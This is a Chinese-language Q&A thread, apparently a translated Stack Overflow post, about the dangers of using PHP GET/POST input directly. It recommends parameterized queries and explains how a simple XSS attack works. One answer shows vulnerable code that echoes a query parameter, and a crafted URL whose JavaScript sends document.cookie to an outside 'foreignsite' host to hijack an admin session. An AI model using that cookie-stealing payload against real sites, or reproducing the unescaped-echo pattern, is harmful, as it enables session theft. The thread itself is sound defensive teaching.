我想知道直接使用GET和POST变量时有哪些漏洞.即用out修剪和addslashes函数和mysql转义字符串之类的东西.
我的问题是
在玩GET和POST时我们还需要注意什么.
SQL注入有什么样的攻击?
通常,不仅限于GET和POST,还包括来自系统外部的任何数据(包括Web应用程序中的cookie):
几乎所有的漏洞都归结为"用户可以在传递输入的上下文中运行他们喜欢的任何代码".
如果将它传递给SQL数据库,他们可以运行他们喜欢的任何SQL.
如果将其传递给HTML文档,他们可以添加他们喜欢的任何标记(包括JavaScript)
如果将其传递给系统shell,则可以运行他们喜欢的任何系统命令.
如果您使用他们选择的名称打开文件,他们可以打开他们喜欢的任何文件.等等
您需要考虑您对数据的处理方式.在接受世界上任何系统的污染输入时,寻找可能出错的可能事项列表并不会产生详尽的列表.
除了旁边:忘记了addslashes(它没有效果),忘了mysql_real_escape(它很容易犯错误).使用参数化查询:如何在PHP中阻止SQL注入?
通过一点点社交工程,最简单的XSS攻击
让我们假设您有一个简单的PHP应用程序,它使用会话来跟踪用户.它有一些管理界面,具有更高权限的用户可以说编辑内容.
并且,假设您以该网站的管理员身份登录,并且该应用程序内部有一个文件request.php,其中包含以下代码
echo $GET['action'];
现在有人发现这个,构建以下网址http://yourapp/request.php?action = document.location.href =' http:// foreignsite?c = '+ document.cookie
然后有人将这个网址添加到tinyurl.com,将其缩短为http://tinyurl.com/x44534,然后他给你发了一封电子邮件,说"嘿,看看这个,你发现它很有用" .
你点击链接,tinyurl.com将短网址翻译成长网页,将你的浏览器重定向到它,你的request.php愉快地从查询输出Javascript,浏览器看到它,执行它,结果,这个人谁运行http:// foreignsite获取所有的cookie.
然后他只需要将这些cookie值插入他的浏览器,瞧,他可以即时访问您的站点管理界面.因为他得到了你的会话cookie.
这描述了最简单的XSS攻击,它真的很简单,可能在现实生活中不起作用,但希望你有基本的想法它是如何工作的.